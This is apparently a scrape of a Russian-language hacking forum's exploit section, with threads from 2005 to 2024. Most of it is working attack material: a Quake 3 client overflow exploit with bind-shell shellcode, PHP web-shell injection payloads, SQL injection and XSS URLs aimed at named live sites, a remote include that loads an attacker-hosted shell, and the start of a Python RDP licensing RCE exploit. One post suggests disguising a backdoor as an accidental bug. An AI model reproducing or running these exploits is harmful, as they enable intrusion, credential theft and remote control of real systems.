$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Hamid/2006\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;

echo '
 Sending exploit to '.$host.'
';

if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
     echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
';
     $fp=fsockopen($parts[0],$parts[1]);
     if (!$fp) { echo 'No response from proxy...';
   die;
         }

     }
echo $packet;
show($packet);
fputs($fp,$packet);

if ($proxy=='')
{ $data='';
     while (!feof($fp))
     {
      $data.=fgets($fp);
     }
}
else
{
$data='';
   while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
   {
      $data.=fread($fp,1);
   }

}
fclose($fp);
if (eregi('HTTP/1.1 200 OK',$data))
    {echo 'Exploit sent...
 If CuteNews 1.4.1   is unpatched and vulnerable  
';
     echo 'you will see '.htmlentities($command).' output inside HTML...

';
    }
else
    {echo 'Error, see output...';}

//show($data); //debug: show output in a packet dump...
//echo nl2br(htmlentities($data));
echo $data;
}
?> 

# milw0rm.com [2006-03-26]
D-Link Access-Point <= 2.10na (DWL Series) Config Disclosure Vuln
ID: 67686ba3b4103b69df379e1a
Thread ID: 9136
Created: 2006-06-10T02:58:32+0000
Last Post: 2006-09-07T16:05:33+0000
Author: Ŧ1LAN
Prefix: Remote
Replies: 3 Views: 3K

D-Link Access-Point <= 2.10na (DWL Series) Config Disclosure Vuln
Описание:
позволяет получить всю информацию из текущего конфиг-файла, смотрим ниже
Пример/эксплоит:

Code:Copy to clipboard

# ADVISORY/0206 - D-Link Wireless Access-Point (DWL-2100ap)
# INTRUDERS TIGER TEAM SECURITY - SECURITY ADVISORY
# http://www.intruders.com.br/ , http://www.intruders.org.br/

При попытке HTTP-запроса к директории /cgi-bin/ сервер вернет ошибку 404(page not found)
Тjже самое и с запросом на страницу /cgi-bin/AnyFile.htm, сервер вернёт ошибку 404(page not found)

Но, при запросе на любой файл с расширением .cgf находящийся в /cgi-bin/ , сервер вернет всю конфигурацию девайса
Для примера составим следующий запрос:

Code:Copy to clipboard

http://dlink-DWL-2100ap/cgi-bin/Intruders.cfg

Вот что у нас получилось:

Code:Copy to clipboard

# Copyright (c) 2002 Atheros Communications, Inc., All Rights Reserved
# DO NOT EDIT -- This configuration file is automatically generated
magic Ar52xxAP
fwc: 34
login admin
DHCPServer
Eth_Acl
nameaddr
domainsuffix
IP_Addr 10.0.0.30
IP_Mask 255.0.0.0
Gateway_Addr 10.0.0.1
RADIUSaddr
RADIUSport 1812
RADIUSsecret
password IntrudersTest
passphrase
wlan1 passphrase AnewBadPassPhrase
# Several lines removed.
Quake 3 Engine 1.32b R_RemapShader() Remote Client BoF Exploit
ID: 67686ba3b4103b69df379e38
Thread ID: 8241
Created: 2006-05-05T10:07:15+0000
Last Post: 2006-06-28T19:56:31+0000
Author: Ŧ1LAN
Prefix: Remote
Replies: 11 Views: 3K

Quake 3 Engine 1.32b R_RemapShader() Remote Client BoF Exploit
Эксплоит:

Code:Copy to clipboard

// remap_this.c - "R_RemapShader()" q3 engine 1.32b client remote bof exploit
// by landser - landser at hotmail.co.il
//
// this code works as a preloaded shared library on a game server,
// it hooks two functions on the running server:
// svc_directconnect() that is called when a client connects,
// and sv_sendservercommand() which we use to send malformed "remapShader" commands to clients.
// vuln clients connecting to the server will bind a shell on a chosen port (#define PORT) and exit cleanly with an unsuspicious error message.
//
// vuln: latest linux clients of ET, rtcw, and q3 on boxes with +x stack (independent of distro)
// (win32 clients are vuln too but not included here)
//
// usage:
// gcc remap_this.c -shared -fPIC -o remap_this.so
// and run a server with env LD_PRELOAD="./remap_this.so"
//
// -----------------------------------------------------
// [luser@box ~/wolfenstein]$ LD_PRELOAD="./remap_this.so" ./wolfded.x86 +set net_port 5678 +map mp_beach
// remap_this.c by landser - landser at hotmail.co.il
//
// game: RtCW 1.41 Dedicated.
// [...]
// directconnect(): 10.0.0.4 connected
// sendservercommand() called
// sendservercommand() called
// sendservercommand() called
// [...]
// [luser@box ~/wolfenstein]$ nc 10.0.0.4 27670 -vv
// sus4 [10.0.0.4] 27670 (?) open
// id
// uid=1000(luser) gid=100(lusers)
// -----------------------------------------------------
//
// visit www.nixcoders.org for open source linux cheats

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <sys/mman.h>

#define SILENT // SPOILER the crappy server output
#define PORT 27670 // bindshell port. some values are invalid

struct netaddr { // from q3-1.32b/qcommon/qcommon.h
	int type;
	unsigned char ip[4];
	unsigned char ipx[10];
	unsigned short port;
};

struct {
	char *name;
	char *fn;
	unsigned long retaddr;	// something that jumps to %esp
	unsigned long sendservercommand; // address of sv_sendservercommand()
	unsigned long directconnect; // address of svc_directconnect()
	int hooklen; // for both sendservercommand and directconnect
	unsigned long errormsg; // address of error string
	unsigned long comerror; // address of com_error()
	int popas; // num of popa instructions before shellcode
	int gap; // gap between %esp to %eip when prog gets to the last shellcode instruction
} games[] = {
	{"ET 2.60 Dedicated",  "etded",
  0x081b4133, 0x08056c10, 0x0804e880, 6, 0x081a6a65, 0x0806a1a0, 14, 12},
	{"RtCW 1.41 Dedicated",  "wolfded",
  0x080c4356, 0x0805ee94, 0x08058740, 9, 0x08187772, 0x080a87e8, 14, 12},
	{"Quake 3 1.32b Dedicated",	"q3ded",
  0x080a200b, 0x0805fa68, 0x08059884, 9, 0x08167635, 0x08094688, 11, 27},
};

const int ngames = sizeof(games) / sizeof(games[0]);
const unsigned short int port = PORT;

static void *hook (void *, int, void *);
static void sendservercommand (void *, const char *, ...);
static void directconnect (struct netaddr);
static void writebuf (void);

void (*_sendservercommand)(void *, const char *, ...);
void (*_directconnect)(struct netaddr);

int c = -1;
unsigned char buf[1024];

// shellcode (286 bytes):
// fork()s,
// the parent proc calls com_error() with an error message (errormsg var),
// the child proc binds a shell on a chosen port
// unallowed chars: 0x00, 0x22, 0x2e, 0x5c, >=0x80
unsigned char sc[] =
	"\x68\x03\x5a\x70\x50\x58\x05\x01\x01\x7b\x71\x50\x68\x57\x50\x7f\x69"
	"\x58\x05\x01\x7d\x01\x01\x50\x68\x70\x30\x6a\x06\x58\x66\x05\x7b\x76"
	"\x50\x68\x54\x5b\x52\x53\x68\x2f\x62\x69\x6e\x68\x2f\x73\x68\x68\x68"
	"\x0b\x58\x68\x2f\x68\x48\x78\x79\x69\x58\x05\x01\x01\x7f\x01\x50\x68"
	"\x3e\x57\x50\x01\x58\x05\x01\x01\x7d\x7f\x50\x68\x75\x1c\x59\x6a\x68"
	"\x50\x01\x48\x40\x58\x66\x05\x7d\x7f\x50\x68\x5b\x6a\x02\x58\x68\x7f"
	"\x50\x53\x58\x58\x66\x40\x50\x68\x69\x65\x57\x50\x58\x05\x01\x01\x01"
	"\x7d\x50\x68\x57\x54\x59\x43\x68\x7f\x5f\x50\x50\x58\x66\x40\x50\x68"
	"\x69\x65\x57\x50\x58\x05\x01\x01\x01\x7d\x50\x68\x7f\x6a\x04\x5b\x58"
	"\x66\x40\x50\x68\x69\x65\x57\x50\x58\x05\x01\x01\x01\x7d\x50\x68\x51"
	"\x50\x54\x59\x68\x45\x55\x6a\x10\x68\x5b\x0e\x50\x44\x58\x05\x02\x01"
	"\x7d\x01\x50" "PORT" "\x66\x68\x5b\x5d\x52\x66\x68\x53\x58\x50\x01"
	"\x58\x05\x01\x01\x7d\x7f\x50\x68\x52\x53\x6a\x02\x68\x4a\x6a\x01\x5b"
	"\x68\x58\x6a\x01\x5a\x68\x07\x50\x6a\x66\x58\x66\x05\x01\x73\x50\x68"
	"\x67" "CM1" "\x58\x05\x01" "CM2" "\x50\x68\x6a\x02\x6a\x01\x68" "ERRM"
	"\x68\x40\x74\x0f\x68\x68\x57\x50\x7f\x47\x58\x05\x01\x7d\x01\x01\x50"
	"\x68\x41\x41\x6a\x02\x74\x0c\x75\x0a";

void __attribute__ ((constructor)) init (void) {
	char buf[256];
	int ret;
	
	printf("remap_this.c by landser - landser at hotmail.co.il\n\n");

	ret = readlink("/proc/self/exe", buf, sizeof buf);
	if (ret < 0) {
  perror("readlink()");
  exit(EXIT_FAILURE);
	}
	buf[ret] = '\0';

	for (c=0;c<ngames;c++)
  if (strstr(buf, games[c].fn)) break;
	
	if (c == ngames) {
  printf("binary doesnt match any of the targets.\n");
  exit(EXIT_FAILURE);
	}
	
	printf("game: %s.\n\n", games[c].name);

	writebuf();

	_sendservercommand = hook((void *)games[c].sendservercommand, games[c].hooklen, &sendservercommand);
	_directconnect = hook((void *)games[c].directconnect, games[c].hooklen, &directconnect);
}

int fputs (const char *s, FILE *fp) {
	static int (*_fputs)(const char *, void *);
	if (!_fputs) _fputs = dlsym(RTLD_NEXT, "fputs");

#ifdef SILENT
	if (strncmp(s, "---", 3)) return 1;
#endif

	return _fputs(s, fp);
}

static void sendservercommand (void *client, const char *fmt, ...) {
	printf("sendservercommand() called\n");
	_sendservercommand(client, "%s", buf);
}

static void directconnect (struct netaddr addr) {
	printf("directconnect(): %d.%d.%d.%d connected\n",
  addr.ip[0], addr.ip[1], addr.ip[2], addr.ip[3]);
	_directconnect(addr);
}

static void writebuf (void) {
	unsigned char *cm1, *cm2, *ptr = buf;
	int i, b;

	strcpy(ptr, "remapShader ");
	if (strstr(games[c].name, "Quake")) strcat(ptr, "j w ");
	strcat(ptr, "\"");
	ptr += strlen(ptr);

	memset(ptr, '\b', 76);
	ptr += 76;

	memcpy(ptr, &games[c].retaddr, 4);
	ptr += 4;

	if (strstr(games[c].name, "Quake")) {
  // replaces %ebp with %esp without using the stack
  memcpy(ptr, "\x33\x2f\x31\x2f\x31\x27\x33\x27\x31\x27", 10);
  ptr += 10;
	}

	memset(ptr, 0x61, games[c].popas); // 'popa' instructions
	ptr += games[c].popas;

	memcpy(ptr, sc, sizeof(sc));
	
	memset(ptr + strlen(ptr) - 3, games[c].gap, 1);
	memset(ptr + strlen(ptr) - 1, games[c].gap - 2, 1);

	cm1 = strstr(ptr, "CM1");
	cm2 = strstr(ptr, "CM2");
	if (!cm1 || !cm2) abort();
	
	for (i=0;i<3;i++) {
  b = (games[c].comerror >> (8*i)) & 0xff;
  
  if ((b-1) >= 0x7f) {
  	cm1[i] = 0x6b;
  	cm2[i] = b - 0x6b;
  }
  else {
  	cm1[i] = b - 1;
  	cm2[i] = 1;
  }
	}

	ptr = strstr(ptr, "PORT");
	if (!ptr) abort();
	memcpy(ptr, "\x68\x68", 2); // 68 - pushl imm32
	memcpy(ptr+2, &port, sizeof port);
	
	ptr = strstr(ptr, "ERRM");
	if (!ptr) abort();
	memcpy(ptr, &games[c].errormsg, 4);

	strcat(ptr, "\"");
	if (!strstr(games[c].name, "Quake")) strcat(ptr, " j w");
}

#define PAGE(x) (void *)((unsigned long)x & 0xfffff000)

static void *hook (void *hfunc, int len, void *wfunc) {
        void *newmem = malloc(len+5);
	long rel32;

	// copy 'len' bytes of instruction from 'hfunc' to 'newmem' and a 'jmp *hfunc' instruction after it
        memcpy(newmem, hfunc, len);
	memset(newmem+len, 0xe9, 1); // e9 - jmp rel32
	rel32 = hfunc - (newmem+5);
	memcpy(newmem+len+1, &rel32, sizeof rel32);

	// make 'hfunc's address writable & executable
	mprotect(PAGE(hfunc), 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
        
	// change the start of 'hfunc' to a 'jmp *wfunc' instruction
	memset(hfunc, 0xe9, 1); // e9 - jmp rel32
        rel32 = wfunc - (hfunc+5);
	memcpy(hfunc+1, &rel32, sizeof rel32);

        return newmem;
}
i-Gallery 4.x - XSS
ID: 67686ba3b4103b69df379e3d
Thread ID: 9211
Created: 2006-06-13T22:31:41+0000
Last Post: 2006-06-18T03:58:53+0000
Author: ENFIX
Prefix: Web
Replies: 6 Views: 3K

i-Gallery - XSS
Дата Выпуска: 2006-06-13
Воздействие: Cross-Site Scripting
Где: От отдаленного
Решение: Неисправленно
Software: i-Gallery 4.x

Описание:
Уязвимость позволяет провести XSS атаку.

Code:Copy to clipboard

http://[host]/login.asp?n=
http://[host]/login.asp?d=
http://[host]/igallery.asp?d=
уязвимости: phpMyChat
ID: 67686ba3b4103b69df379e60
Thread ID: 7642
Created: 2006-04-01T22:50:23+0000
Last Post: 2006-04-08T14:54:29+0000
Author: К.е.Н
Prefix: Web
Replies: 7 Views: 3K

Привет! Я нашел уязвимость в phpMyChat 0.14.5 ,и более поздние версии (может ее и до меня нашли, но вроде я таких уязвимостей не встречал). Суть в том: можно изменить пасс админу (любому пользователю), можно зайти под него ником в чат.
Для этого надо знать его ник и хеш (хеш не надо расшифровывать).
Допустим, мы узнали с помощью снифера хеш админа. Изменим ему пасс. Вот код страницы

Code:Copy to clipboard

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML dir="LTR">

<HEAD>
<title>Книга посетителей</title>
<LINK REL="stylesheet" HREF="config/start_page.css.php3?Charset=windows-1251&medium=10&FontName=" TYPE="text/css">
<script TYPE="text/javascript" LANGUAGE="JavaScript1.1">
<!--
function get_focus()
{
	window.focus();
	document.forms['LoginForm'].elements['AUTH_USERNAME'].focus();
}
// -->
</SCRIPT>
</HEAD>

<BODY onLoad="if (window.focus) get_focus();">
<CENTER>


<FORM ACTION="http://www.site.ru/chat/edituser.php3" METHOD="POST" AUTOCOMPLETE="OFF" NAME="LoginForm">
<P></P>
<INPUT TYPE="hidden" NAME="L" VALUE="russian">
<INPUT TYPE="hidden" NAME="Link" VALUE="1">
<INPUT TYPE="hidden" NAME="LIMIT" VALUE="">
<TABLE BORDER=0 CELLPADDING=3 CLASS="table">
<TR>
	<TD ALIGN="CENTER">
  <TABLE BORDER=0>
  <TR>
  	<TH COLSPAN=2 CLASS="tabtitle">Вход в ЧатВиллу</TH>
  </TR>
  <TR>
  	<TD VALIGN="TOP" NOWRAP>Ник :</TD>
  	<TD VALIGN="TOP">
    <INPUT TYPE="text" NAME="AUTH_USERNAME" SIZE=11 MAXLENGTH=10 VALUE="Pr13raK" CLASS="ChatBox">
  	</TD>
  </TR>
  <TR>
  	<TD VALIGN="TOP" NOWRAP>Пароль :</TD>
  	<TD VALIGN="TOP">
    <INPUT TYPE="password" NAME="AUTH_PASSWORD" SIZE=11 MAXLENGTH=16 VALUE="310dcbbf4cce62f762a2aaa148d556bd" CLASS="ChatBox">
  	</TD>
  </TR>
  </TABLE>
  <P>
  <INPUT TYPE="submit" VALUE="Входим" CLASS="ChatBox">
	</TD>
</TR>
</TABLE>
</FORM>
</CENTER>
</BODY>

</HTML>

Для этого в поле: после слова VALUE пишем его ник.
В поле после слова VALUE пишем его хеш.
Все сохраняем страницу в html и нажимаем "Войти" меняем пасс можно и ник и теперь мы админы. Если что-то не понятно пишите kalnin2006@yandex.ru или стучите в асю: 255553398.
Извините если что не понятно это моя первая уязвимость!!!
"The pirats of a network" www.pirats.jino-net.ru

Уязвимости: The Bat!
ID: 67686ba3b4103b69df379e65
Thread ID: 7173
Created: 2006-02-25T08:45:22+0000
Last Post: 2006-03-01T10:53:38+0000
Author: Ŧ1LAN
Prefix: Remote
Replies: 5 Views: 3K

Выполнение произвольного кода в The Bat!
Программа: The Bat! 3.60.07
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе.

Уязвимость существует при обработке заголовка темы email сообщения. Удаленный пользователь может с помощью специально сформированного email сообщения, содержащего слишком длинную строку (4038 байт) в поле Subject, вызвать переполнение стека и выполнить произвольный код на целевой системе.
Решение: Установите последнюю версию (3.71.03) с сайта производителя
:zns2: производитель

ArticleBeach free articles
ID: 67686ba3b4103b69df379e71
Thread ID: 6604
Created: 2006-01-19T09:05:55+0000
Last Post: 2006-01-19T09:05:55+0000
Author: durito
Prefix: Web
Replies: 0 Views: 3K

Software: все версии
Vendor: ArticleBeach www.articlebeach.com
Vulnerability: выполнение произвольных команд, просмотр пароля доступа к базе данных, доступ к бекапам базы данных, sql-инъекция.
discovered by durito [NGH Group] -durito[at]mail[dot]ru-
durito.narod.ru
ngh.void.ru

Выполнение произвольных команд

Параметр page скрипта index.php инкдудит внешние файлы без всякой проверки.

http://www.xxx.com/index.php?page=http://ataker_site/

Пример:

http://www.articlebeach.com/index.php?page= http://durito.narod.ru/sh&cmd=ls%20-lpa

Просмотр пароля доступа к базе данных

Любой сторонний пользователь может получить конфигурационный файл содержащий реквизиты доступа к базе данных из папки /includes/

http://www.xxx.com/includes/config.inc

Пример:

http://www.articlebeach.com/includes/config.inc

Содержимое файла config.inc

Доступ к бекапам базы данных

Бекапы базы данных находятся в директории /backup/ и доступны для просмотра удаленному пользователю, имя файла состоит из названия базы (article_art) и даты бекапа 22/12/2005 (22122005) и может быть легко предугадано злоумышленником.

Пример:

http://www.articlebeach.com/backup/article_art_22122005.sql
http://25000articles.com/backup/mydisk_25000a_13122005.sql

Sql-инъекция

Параметр category_id не осуществляет фильтрацию, что приводит к возможности выполнения Sql-инъекции.

Экплойт:

http://www.xxx.com/index.php?pg=3&page=category&category_id=[SQL]

Пример:

http://www.articlebeach.com/index.php?pg=3...ry&category_id= 22+union+select+1,2,3,4,5,6,7,password+from+user_master/*

Plogger Photo Gallery
ID: 67686ba3b4103b69df379e75
Thread ID: 6443
Created: 2006-01-09T23:01:07+0000
Last Post: 2006-01-09T23:01:07+0000
Author: durito
Prefix: Web
Replies: 0 Views: 3K

Sql-инъекция и межсайтовый скриптинг в Plogger
вот свежие баги наковырял:
Sql-инъекция и межсайтовый скриптинг в Plogger Photo Gallery

Software: Plogger Photo Gallery > = 2.1
Vendor: Plogger www.plogger.org
Vulnerability: Sql-инъекция и межсайтовый скриптинг
Risk: средний
Date: 10.01.2006
discovered by durito -durito[at]mail[dot]ru-
HTTP: durito.narod.ru

+~~~:| Details |:

Уязвимость существует из-за недостаточной обработки входных данных в параметре "id" . Удаленный пользователь может с помощью специально сформированного запроса выполнить Sql-инъекция и произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.

Межсайтовый скриптинг:
http://www.xxx.com/gallery/index.php?level...);%3C/script%3E

Sql-инъекция:
http://www.xxx.com/gallery/index.php?level=album&id='1

Примеры:

http://www.mahyuni.com/gallery/index.php?l...album&id='1
http://www.mahyuni.com/gallery/index.php?l...);%3C/script%3E

Баги SimpleBBS
ID: 67686ba3b4103b69df379e80
Thread ID: 5927
Created: 2005-12-13T13:20:06+0000
Last Post: 2005-12-16T05:32:53+0000
Author: Great
Prefix: Web
Replies: 3 Views: 3K

PHP-Including в SimpleBBS <=1.1

Суть уязвимости
Разработчики оставили критическую дыру в форуме SimpleBBS. Суть заключается в том, что сценарий создания нового топика не фильтрует параметр name на наличие "плохих" символов. Т.к. форум все хранит в файлах, а именно: имя юзера, создавшего топик, хранится в файле data/topics.php
Подставив параметр name в виде

Code:Copy to clipboard

Willy<!--"><?php error_reporting(0);print `$_GET[cmd]`; die;?>

можно поиметь сервачок =). (думаю, ясно, что вызывать сценарий нужно так: data/topics.php?cmd=CMD).
Защита от злобных хацкеров:
замена строки 54 в файле includes/newtopic.php с

Code:Copy to clipboard

$loginname=$name;

на

Code:Copy to clipboard

$loginname=str_replace("<?", "&lt;?", $name);

Это защитит форум от тех, кого хлебом не корми, дай поиметь форум =)

Источник: SecurityLab
:zns2: Производитель
Произвел осмотр форума и создал метод защиты: Great

Добавлено в [time]1134479279[/time]
PHP-Including в SimpleBBS <=1.1
Ломалкин-ковырялкин в лице меня решил поискать еще багов в этом замечательном форуме. И представьте, нашел =)
На этот раз в постинге сообщений в тему. Все тот же параметр name. PHP-код инклуда подойдет из первой уязвимости. Только вызывать теперь надо так:
data/posts.php?cmd=CMD
Защита :
Изменить строку 54 в файле includes/addreply.php с

Code:Copy to clipboard

$name = $_POST["name"];

на

Code:Copy to clipboard

$name = str_replace("<?", "&lt;?", $_POST["name"]);

И хакеры идут лесом.

N-13 News
ID: 67686ba3b4103b69df379e81
Thread ID: 5797
Created: 2005-12-01T14:41:49+0000
Last Post: 2005-12-01T14:41:49+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 3K

Эксплоит для N-13 News

Код сплойта:

Code:Copy to clipboard

<?php
###  0 day -- 29/11/2005
###
###	N-13 News Remote SQL / PHP-Shell Injection  
###
###	Just upload in a web-server with mod_php
###	and run it trhough your browser;)
###
###	Affected Software : http://network-13.com/  N-13 News
###	Version: All
###	Exploit discovere and written by: KingOfSka  <at>  http://contropotere.altervista.org
###	Condition: Magic Quotes OFF
###     A world writeable directory accessible trough HTTP
###	To detect Server Path to N-13 just visit: http://www.site.com/n13/index.php?id=0'
###
?>
<html>
<head>
<title> .::KingOfSka N-13 News Remote PHP Shell Injection::. || http://contropotere.altervista.org
|| </title>
</head>
<body>
<header> .::KingOfSka N-13 News PHP Shell Injection::. || <a href =
"http://contropotere.altervista.org/limbo/"> Contro Potere Hacking Crew </a> || </header> 



<?php
if (isset($_POST['url'])) {
$url = $_POST['url'];
$path2news = $_POST['path2news'];
$outfile = $_POST ['outfile'];
$sql = "0' UNION SELECT '0' , '<? system(\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 INTO OUTFILE '$outfile";
$sql = urlencode($sql);
$expurl= $url."?id=".$sql;
echo '<a href='.$expurl.'> Click Here to Exploit </a> 
';
echo "After clicking go to http://www.site.com/path2phpshell/shell.php?cpc=ls to see results";
}
else
{
?>
Url to index.php: 
 
<form action = "<?php echo "$_SERVER[PHP_SELF]"; ?>" method = "post">
<input type = "text" name = "url" value = "http://www.site.com/n13/index.php" size = "50"> 

Server Path to Shell: 

Full server path to a writable file which will contain the Php Shell 

<input type = "text" name = "outfile" value = "/var/www/localhost/htdocs/n13/shell.php" size = "50">

 

<input type = "submit" value = "Create Exploit"> 
 

<?php
}
?>
</body>
</html>

Патч:
Отредактируйте свой .htaccess в строчках:

Code:Copy to clipboard

php_flag magic_quotes_gpc off

Заменить

Code:Copy to clipboard

php_flag magic_quotes_gpc on

И ваш сайт будет не подвержен данному эксплоиту.

:zns2: Производитель

ibProArcade
ID: 67686ba3b4103b69df379e85
Thread ID: 5508
Created: 2005-11-11T19:02:09+0000
Last Post: 2005-11-11T19:02:09+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 3K

Sql injection in ibProArcade.
Найдена уязвимость в популярном форумном модуле ibProArcade 2.x (для vBulletin и для IPB). Классифицируется баг, как средней критичности.
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Существует уязвимость в модуле “Report” при обработке входных данных в параметре user сценария index.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.
Инъекция:

Code:Copy to clipboard

module=report&user=[userid]

Запрос:

Code:Copy to clipboard

IPB:
index.php?act=Arcade&module=report&user=-1 union select password from ibf_members where id=[any_user]
vBulettin forums:
index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]
Баги в PHP-Fusion
ID: 67686ba3b4103b69df379e8a
Thread ID: 4681
Created: 2005-08-31T08:13:59+0000
Last Post: 2005-10-27T15:15:39+0000
Author: Winux
Prefix: Web
Replies: 4 Views: 3K

У PHP-Fusion опять проблемы с BB-тегами. Их недостаточная проверка ведет собстно к следующему багу:

Code:Copy to clipboard

text[url=[url= onmouseover=[code];//]][/url][/url]

Собственно баг проверен на 6.00.107 хотя существует мнение что он есть везде.

Oracle Forms
ID: 67686ba3b4103b69df379e91
Thread ID: 5096
Created: 2005-10-10T17:30:25+0000
Last Post: 2005-10-10T17:30:25+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 3K

Повышение привилегий в Oracle Forms

Уязвимость позволяет удаленному пользователю остановить процесс TNS Listener.
Если TNS Listener защищен паролем, удаленный пользователь может с помощью специально сформированного URL остановить работу процесса. Пример:

Code:Copy to clipboard

http://[target]:8888/forms90/f90servlet?form=
test.fmx&userid=SCOTT/TIGER@(DESCRIPTION=
(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)
(HO ST=server)(PORT=1521)))(CONNECT_DATA=
(COMMAND=STOP)(SERVICE=LISTENER)))&
buffer_records=NO&debug_messages=NO&array=YES
& query_only=NO&quiet=NO&RENDER=YES

:zns2: Производтель

RCE, OpenSSH server (sshd), CVE-2024-6387
ID: 67686ba3b4103b69df379b38
Thread ID: 117932
Created: 2024-07-01T08:58:53+0000
Last Post: 2024-08-29T23:11:51+0000
Author: Dread Pirate Roberts
Prefix: Remote
Replies: 17 Views: 3K

CVE-2024-6387: RCE in OpenSSH's server, on glibc-based Linux systems

source: [https://blog.qualys.com/vulnerabili...ode-execution-vulnerability-in- openssh-server](https://blog.qualys.com/vulnerabilities-threat- research/2024/07/01/regresshion-remote-unauthenticated-code-execution- vulnerability-in-openssh-server)
PoC: https://xss.is/threads/117932/#post-828747

- 8.5p1 <= OpenSSH < 9.8p1 is vulnerable again to this signal handler
race condition (because the "#ifdef DO_LOG_SAFE_IN_SIGHAND" was
accidentally removed from sigdie()).

Click to expand...

...
In our experiments, it takes ~10,000 tries on average to win this race condition, so ~3-4 hours with 100 connections (MaxStartups) accepted per 120 seconds (LoginGraceTime). Ultimately, it takes ~6-8 hours on average to obtain a remote root shell
...
This regression was introduced in October 2020 (OpenSSH 8.5p1) by commit 752250c ("revised log infrastructure for OpenSSH"), which accidentally removed an "#ifdef DO_LOG_SAFE_IN_SIGHAND" from sigdie(), a function that is directly called by sshd's SIGALRM handler

Click to expand...

тысячеглаз не заметит бэкдор, если ты замаскируешь его под "случайно оставленную" уязвимость
27kWY-Zu_400x400.jpg

On June 6, 2024, this signal handler race condition was fixed by commit 81c1099 ("Add a facility to sshd(8) to penalise particular problematic client behaviours")

Click to expand...

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F25b417547ca06c2e0d6600b3f5c180a8fab831f50b5791d0c5f7de717b750887%2Fopenssh%2Fopenssh- portable%2Fcommit%2F81c1099d22b81ebfd20a334ce986c4f753b0db29&hash=5aa823fe3e3b0f7a6051b4826b4c0efc&return_error=1)

[ upstream: Add a facility to sshd(8) to penalise particular ·

openssh/openssh-portable@81c1099 ](https://github.com/openssh/openssh- portable/commit/81c1099d22b81ebfd20a334ce986c4f753b0db29)

problematic client behaviours, controlled by two new sshd_config(5) options: PerSourcePenalties and PerSourcePenaltyExemptList. When PerSourcePenalties are enabled, sshd(8) will monitor the exit s...

github.com github.com

CVE-2024-38077 RCE
ID: 67686ba3b4103b69df379b3a
Thread ID: 120480
Created: 2024-08-09T07:19:29+0000
Last Post: 2024-08-23T21:01:51+0000
Author: Desconocido
Prefix: Remote
Replies: 13 Views: 3K

Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability

Python:Copy to clipboard

import struct, hashlib, argparse
from time import sleep
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.ndr import NDRUniConformantArray, NDRPOINTER, NDRSTRUCT, NDRCALL, NDR
from impacket.dcerpc.v5.dtypes import BOOL, ULONG, DWORD, PULONG, PWCHAR, PBYTE, WIDESTR, UCHAR, WORD, LPSTR, \
    PUINT, WCHAR
from impacket.uuid import uuidtup_to_bin
from Cryptodome.Util.number import bytes_to_long
from wincrypto import CryptEncrypt, CryptImportKey

UUID = uuidtup_to_bin(("3d267954-eeb7-11d1-b94e-00c04fa3080d", "1.0"))
TRY_TIMES = 3
SLEEP_TIME = 210
DESCRIPTION = "MadLicense: Windows Remote Desktop Licensing Service Preauth RCE"
dce = None
rpctransport = None
ctx_handle = None
handle_lists = []
leak_idx = 0
heap_base = 0
ntdll_base = 0
peb_base = 0
pe_base = 0
rpcrt4_base = 0
kernelbase_base = 0
BBYTE = UCHAR


def p8(x):
    return struct.pack("B", x)


def p16(x):
    return struct.pack("H", x)


def p32(x):
    return struct.pack("I", x)


def p64(x):
    return struct.pack("Q", x)


class CONTEXT_HANDLE(NDRSTRUCT):
    structure = (
        ("Data", "20s=b"),
    )

    def getAlignment(self):
        return 4


class TLSRpcGetVersion(NDRCALL):
    opnum = 0
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
        ("version", PULONG),
    )


class TLSRpcGetVersionResponse(NDRCALL):
    structure = (
        ("version", ULONG),
    )


class TLSRpcConnect(NDRCALL):
    opnum = 1


class TLSRpcConnectResponse(NDRCALL):
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
    )


class TLSBLOB(NDRSTRUCT):
    structure = (
        ("cbData", ULONG),
        ("pbData", PBYTE),
    )


class TLSCRYPT_ALGORITHM_IDENTIFIER(NDRSTRUCT):
    structure = (
        ("pszObjId", LPSTR),
        ("Parameters", TLSBLOB),
    )


class TLSCRYPT_BIT_BLOB(NDRSTRUCT):
    structure = (
        ("cbData", DWORD),
        ("pbData", PBYTE),
        ("cUnusedBits", DWORD),
    )


class TLSCERT_PUBLIC_KEY_INFO(NDRSTRUCT):
    structure = (
        ("Algorithm", TLSCRYPT_ALGORITHM_IDENTIFIER),
        ("PublicKey", TLSCRYPT_BIT_BLOB),
    )


class PTLSCERT_PUBLIC_KEY_INFO(NDRPOINTER):
    referent = (
        ("Data", TLSCERT_PUBLIC_KEY_INFO),
    )


class TLSCERT_EXTENSION(NDRSTRUCT):
    structure = (
        ("pszObjId", LPSTR),
        ("fCritical", BOOL),
        ("Value", TLSBLOB),
    )


class TLSCERT_EXTENSION_ARRAY(NDRUniConformantArray):
    item = TLSCERT_EXTENSION


